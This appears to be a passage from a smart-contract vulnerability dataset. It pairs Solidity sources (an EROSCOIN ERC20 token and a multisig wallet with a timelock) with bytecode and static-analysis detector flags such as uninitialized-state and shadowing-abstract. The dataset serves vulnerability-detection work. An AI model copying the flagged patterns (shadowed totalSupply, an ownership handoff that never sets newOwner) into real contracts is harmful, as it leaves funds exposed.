ffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561126a57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112b857600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561134357600080fd5b61139582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142a82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114fc82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160a90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561160057fe5b8091505092915050565b600082821115151561161857fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116ae57600080fd5b61170082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ec90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058202a1d077d970dec3fd374d759eaf83bb980f329b244a72bbb31aecea02a70ce660029
|
{"success": true, "error": null, "results": {}}
| 7,722 |
0x7f62ffa6b311b5cedec75e198b0d2f0ed3acf3a0
|
pragma solidity ^0.4.16;
// EROSCOIN Alpha contract based on the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Symbol: ERO
// Status: ERC20 Verified
contract EROSToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* EROSToken Math operations with safety checks to avoid unnecessary conflicts
*/
library EROMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract EroStandardToken is EROSToken, Ownable {
using EROMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value)
&& (_value > 0)
&& (_to != address(0))
&& (balances[_to].add(_value) >= balances[_to])
&& (msg.data.length >= (2 * 32) + 4));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value)
&& (balances[_from] >= _value)
&& (_value > 0)
&& (_to != address(0))
&& (balances[_to].add(_value) >= balances[_to])
&& (msg.data.length >= (2 * 32) + 4)
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract EROSCOIN is EroStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 TTC = 980 base units. It's like comparing 1 wei to 1 ether.
uint256 public totalSupply = 240 * (10**7) * 10**8 ; // 2.4 billion tokens, 8 decimal places
string constant public name = "EROSCOIN"; //fancy name: eg EROSCOIN Alpha
string constant public symbol = "ERO"; //An identifier: eg ERO
string constant public version = "v1.1.3"; //Version 0.1.6 standard. Just an arbitrary versioning scheme.
function EROSCOIN(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x606060405236156100ef576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f4578063095ea7b31461018357806318160ddd146101dd57806323b872dd14610206578063313ce5671461027f57806354fd4d50146102a857806370a082311461033757806379ba5097146103845780638da5cb5b1461039957806395d89b41146103ee578063a9059cbb1461047d578063b414d4b6146104d7578063cae9ca5114610528578063d4ee1d90146105c5578063dd62ed3e1461061a578063e724529c14610686578063f2fde38b146106ca575b600080fd5b34156100ff57600080fd5b610107610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101485780820151818401525b60208101905061012c565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073c565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b6101f06108c4565b6040518082815260200191505060405180910390f35b341561021157600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ca565b604051808215151515815260200191505060405180910390f35b341561028a57600080fd5b610292610d99565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610d9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fc5780820151818401525b6020810190506102e0565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610e21565b005b34156103a457600080fd5b6103ac610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f957600080fd5b610401610fa7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104425780820151818401525b602081019050610426565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048857600080fd5b6104bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe0565b604051808215151515815260200191505060405180910390f35b34156104e257600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611317565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611337565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d86115da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062557600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611600565b6040518082815260200191505060405180910390f35b341561069157600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611688565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b6040805190810160405280600881526020017f45524f53434f494e00000000000000000000000000000000000000000000000081525081565b6000808214806107c857506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107d357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109275760009050610d92565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f2575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109fe5750600082115b8015610a375750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b8015610ae457506044600036905010155b1515610aef57600080fd5b610b4182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6040805190810160405280600681526020017f76312e312e33000000000000000000000000000000000000000000000000000081525081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f45524f000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561103d5760009050611311565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561108c5750600082115b80156110c55750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111615750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b801561117257506044600036905010155b151561117d57600080fd5b6111cf82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115795780820151818401525b60208101905061155d565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156115ce57600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118845780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101580156118a15750828110155b15156118a957fe5b8091505b5092915050565b60008282111515156118c257fe5b81830390505b929150505600a165627a7a72305820d7519b04f3958786f54daa83d6d74a778f423b3691763429c952c24029f78b350029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 7,723 |
0xe457d38074b5b8656707834c3ae62d3158bdd847
|
pragma solidity ^0.6.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultisigWithTimelock {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
event NewDelay(uint256 indexed newDelay);
/*
* Constants
*/
uint256 public constant MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping(uint256 => Transaction) public transactions;
mapping(uint256 => mapping(address => bool)) public confirmations;
mapping(address => bool) public isOwner;
mapping(uint256 => uint256) public timelocks;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
uint256 public delay = 2 minutes;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(
ownerCount <= MAX_OWNER_COUNT &&
_required <= ownerCount &&
_required != 0 &&
ownerCount != 0
);
_;
}
/// @dev Fallback function allows to deposit ether.
receive() external payable {
if (msg.value > 0) emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required)
public
validRequirement(_owners.length, _required)
{
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.pop();
if (required > owners.length) changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint256 i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint256 _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
function setDelay(uint256 _delay) public {
require(msg.sender == address(this));
delay = _delay;
emit NewDelay(delay);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function submitTransaction(
address destination,
uint256 value,
bytes memory data
) public returns (uint256 transactionId) {
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint256 transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint256 transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint256 transactionId)
public
virtual
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId) && timelocks[transactionId] < now) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (
external_call(
txn.destination,
txn.value,
txn.data.length,
txn.data
)
) emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(
address destination,
uint256 value,
uint256 dataLength,
bytes memory data
) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas(), 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint256 transactionId) public view returns (bool) {
uint256 count = 0;
for (uint256 i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]]) count += 1;
if (count == required) return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function addTransaction(
address destination,
uint256 value,
bytes memory data
) internal virtual notNull(destination) returns (uint256 transactionId) {
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
timelocks[transactionId] = now + delay;
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count Number of confirmations.
function getConfirmationCount(uint256 transactionId)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return count Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint256 count)
{
for (uint256 i = 0; i < transactionCount; i++)
if (
(pending && !transactions[i].executed) ||
(executed && transactions[i].executed)
) count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations Returns array of owner addresses.
function getConfirmations(uint256 transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint256 count = 0;
uint256 i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
